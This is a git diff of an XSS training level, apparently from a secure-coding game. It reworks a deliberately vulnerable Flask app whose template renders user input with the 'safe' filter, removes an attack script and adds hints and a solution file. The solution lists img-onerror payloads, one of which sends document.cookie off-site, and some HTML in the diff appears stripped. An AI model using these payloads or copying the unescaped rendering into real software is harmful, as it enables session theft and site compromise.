diff --git a/Season-2/Level-3/code.py b/Season-2/Level-3/code.py index fec771b..ac1a65a 100644 --- a/Season-2/Level-3/code.py +++ b/Season-2/Level-3/code.py @@ -40,42 +40,22 @@ def index(): if request.method == 'POST': planet = request.form.get('planet') - sanitized_planet = re.sub(r'[<>(){}[\]]', '', planet) - - if 'script' in sanitized_planet.lower() : - return '

Blocked

' - - elif sanitized_planet: - details = get_planet_info(sanitized_planet) - - if planet: - return f'

Planet Details:

{get_planet_info(planet)}

' - else: - return '

Please enter a planet name.

' - - return render_template('index.html') - -@app.route('/getPlanetInfo', methods=['GET']) -def get_planet_info_endpoint(): - planet = request.args.get('planet') - sanitized_planet = re.sub(r'[<>(){}[\]]', '', planet) - - if 'script' in sanitized_planet.lower() : - return '

Blocked

' - - elif sanitized_planet: - details = get_planet_info(sanitized_planet) - - if planet: - return f'

Planet Details:

{get_planet_info(planet)}

' + sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '') + + if sanitized_planet: + if 'script' in sanitized_planet.lower() : + return '

Blocked

' + + return render_template('details.html', + planet=sanitized_planet, + info=get_planet_info(sanitized_planet)) else: return '

Please enter a planet name.

' + return render_template('index.html') + def get_planet_info(planet): - if planet in planet_data: - return planet_data[planet] - else: - return f'No information found for {planet}.' + return planet_data.get(planet, 'Unknown planet.') if __name__ == '__main__': app.run() \ No newline at end of file diff --git a/Season-2/Level-3/hack.py b/Season-2/Level-3/hack.py deleted file mode 100644 index e1f094c..0000000 --- a/Season-2/Level-3/hack.py +++ /dev/null @@ -1,34 +0,0 @@ -# /////////////////////////////////////////////////////////////////////// -# /// RUN HACK /// -# /// _______________________________________________________________ /// -# /// /// -# /// This file exploits the vulnerabilities in code.py /// -# /// To run this file, you must be running code.py (flask app) /// -# /// in parallel. To do this, we recommend opening 2 terminals. /// -# /// In the first terminal, run the app following the instructions /// -# /// in code.py, and in the second terminal run this file using: /// -# /// /// -# /// $ python3 Season-2/Level-3/hack.py /// -# /// /// -# /// Running this file will fail initially (it contains failing /// -# /// tests). As all other levels, your goal is to get this file /// -# /// to pass while ensuring that the tests.py file still passes. /// -# /// /// -# /////////////////////////////////////////////////////////////////////// - -import requests - -# Target URL -target_url = "http://localhost:5000/" - -# XSS payload -payload = "<>" - -# Craft the malicious URL with the payload -malicious_url = f"{target_url}getPlanetInfo?planet={payload}" - -# Send the request -response = requests.get(malicious_url) - -# Print the response content -print(response.text) \ No newline at end of file diff --git a/Season-2/Level-3/hack.txt b/Season-2/Level-3/hack.txt new file mode 100755 index 0000000..204d5ad --- /dev/null +++ b/Season-2/Level-3/hack.txt @@ -0,0 +1,7 @@ +Here are two steps to simulate an attack: + +1. Start the applicsation as instructed in 'code.py' +2. Enter in the input field for planet the following content: <img src='x' onerror='alert(1)'> + +Your application must present a message that such a planet is unknown to the system without +showing an alert box. \ No newline at end of file diff --git a/Season-2/Level-3/hint.txt b/Season-2/Level-3/hint.txt index 6f5d797..5d0fa72 100644 --- a/Season-2/Level-3/hint.txt +++ b/Season-2/Level-3/hint.txt @@ -1 +1 @@ -How does the site handle user input before displaying it? \ No newline at end of file +How does the site handle user input before and after displaying it? \ No newline at end of file diff --git a/Season-2/Level-3/solution.txt b/Season-2/Level-3/solution.txt index ee2b44b..894e747 100644 --- a/Season-2/Level-3/solution.txt +++ b/Season-2/Level-3/solution.txt @@ -6,38 +6,39 @@ This code is vulnerable to Cross-Site Scripting (XSS). Learn more about Cross-Site Scripting (XSS): https://portswigger.net/web-security/cross-site-scripting Example from a security advisory: https://securitylab.github.com/advisories/GHSL-2023-084_Pay/ -Back to our level in the Secure Code Game, the vulnerable functions are: -- get_planet_info() -- get_planet_info_endpoint() +Why the application is vulnerable to XSS? +It seems that the user input is properly sanitized, as shown below: -Why are they vulnerable? +planet = request.form.get('planet') +sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '') -Examine closely the following: -sanitized_planet = re.sub(r'[<>(){}[\]]', '', planet) - -In this regex, the characters -<, >, (, ), {, }, [, and ] -are explicitly removed, but whitespace characters are not removed. - -Then, an anti-XSS defense is implemented, preventing inputs with the 'script' tag. -However, other tags, such as the 'img' tag, can still used to exploit a XSS bug as follows: +After all, if all the HTML start and end tags are pruned away what can go wrong? +Furthermore, an anti-XSS defense is implemented, preventing inputs with the 'script' tag. +However, other tags, such as the 'img' tag, can still be used to exploit a XSS bug as follows: Exploit: -<> +<img src="x" onerror="alert(1)"> Explanation: -In this payload, the double angle brackets, '<<' and '>>', will not be matched by the regex, -so the payload remains unaffected, and the XSS attack will execute successfully. +With this payload, the XSS attack will execute successfully, since it will force the browser to open an +alert dialog box. There are couple of reasons why this is possible, as enrolled below: +1) The regular expression is missing the () characters and these are crucial for function invocation in JavaScript. +2) The sanitization doesn't touch the < and > special entities. +3) The 'display.html' is showing the planet name with the 'safe' option. This is always a risky decision. +4) The 'display.html' is reusing an essentially unprotected planet name and rendering it at another location as HTML. How can we fix this? -We can use the function 'escape', which is a built-in function inside the Markup module of Flask. +Never reuse a content rendered in 'safe' regime as HTML. It is essentially unescaped. + +Don't reinvent the wheel by coming up with your own escaping facility. +You can utilize the function 'escape', which is a built-in function inside the markup module used by Flask. This function helps to escape special characters in the input, preventing them from being executed as HTML or JavaScript. Example: -from flask import Flask, request, render_template, jsonify, escape +from markupsafe import escape -return f'

Planet Details:

{escape(details)}

' +sanitized_planet = escape(planet) What else can XSS do? - Steal cookies and session information @@ -55,11 +56,11 @@ How to prevent XSS? Here are some exploit examples: - Redirect to phishing page using XSS: -<> +<img src="x" onerror="window.location.href = 'https://google.com';"> - Get cookies: -<> +<img src="x" onerror="window.location.href = 'https://google.com/?cookie=' + document.cookie;"> - Modify website content: You can inject any phishing page, malicious page, or any other content to the website using XSS, by: -<> \ No newline at end of file +<img src="x" onerror="document.body.innerHTML = 'Website is hacked';"> \ No newline at end of file diff --git a/Season-2/Level-3/templates/details.html b/Season-2/Level-3/templates/details.html new file mode 100644 index 0000000..28db517 --- /dev/null +++ b/Season-2/Level-3/templates/details.html @@ -0,0 +1,31 @@ + + + + + Planet Details + + + + +

Planet Details

+

Planet name: {{ planet | safe }}

+

Planet info: {{ info | safe }}

+
+

Search in Google for more information about the planet:

+ + + + \ No newline at end of file diff --git a/Season-2/Level-3/tests.py b/Season-2/Level-3/tests.py index 0246884..33ebe25 100644 --- a/Season-2/Level-3/tests.py +++ b/Season-2/Level-3/tests.py @@ -4,8 +4,8 @@ # /// /// # /// This file contains passing tests. /// # /// /// -# /// Run them by opening a terminal and running the following: /// -# /// $ python3 Season-2/Level-3/tests.py /// +# /// Run them by opening a terminal and running the following: /// +# /// $ python3 Season-2/Level-3/tests.py /// # /// /// # /// Note: first you have to run code.py following the instructions /// # /// on top of the file so that the environment variables align but /// @@ -16,7 +16,6 @@ from code import app, get_planet_info import unittest -from flask import Flask from flask_testing import TestCase class MyTestCase(TestCase): @@ -32,7 +31,7 @@ def test_index_route(self): def test_get_planet_info_invalid_planet(self): planet = 'Pluto' - expected_info = 'No information found for Pluto.' + expected_info = 'Unknown planet.' result = get_planet_info(planet) self.assertEqual(result, expected_info) @@ -42,11 +41,27 @@ def test_get_planet_info_valid_planet(self): result = get_planet_info(planet) self.assertEqual(result, expected_info) - def test_get_planet_info_endpoint_valid_planet(self): + def test_index_valid_planet(self): planet = 'Venus' - response = self.client.get(f'/getPlanetInfo?planet={planet}') + response = self.client.post('/', data={'planet': planet}) self.assert200(response) - self.assertEqual(response.data.decode(), f'

Planet Details:

{get_planet_info(planet)}

') + self.assertEqual(response.data.decode()[:15], '') + + def test_index_missing_planet(self): + response = self.client.post('/') + self.assert200(response) + self.assertEqual(response.data.decode(), '

Please enter a planet name.

') + + def test_index_empty_planet(self): + response = self.client.post('/', data={'planet': ''}) + self.assert200(response) + self.assertEqual(response.data.decode(), '

Please enter a planet name.

') + + def test_index_active_content_planet(self): + planet = "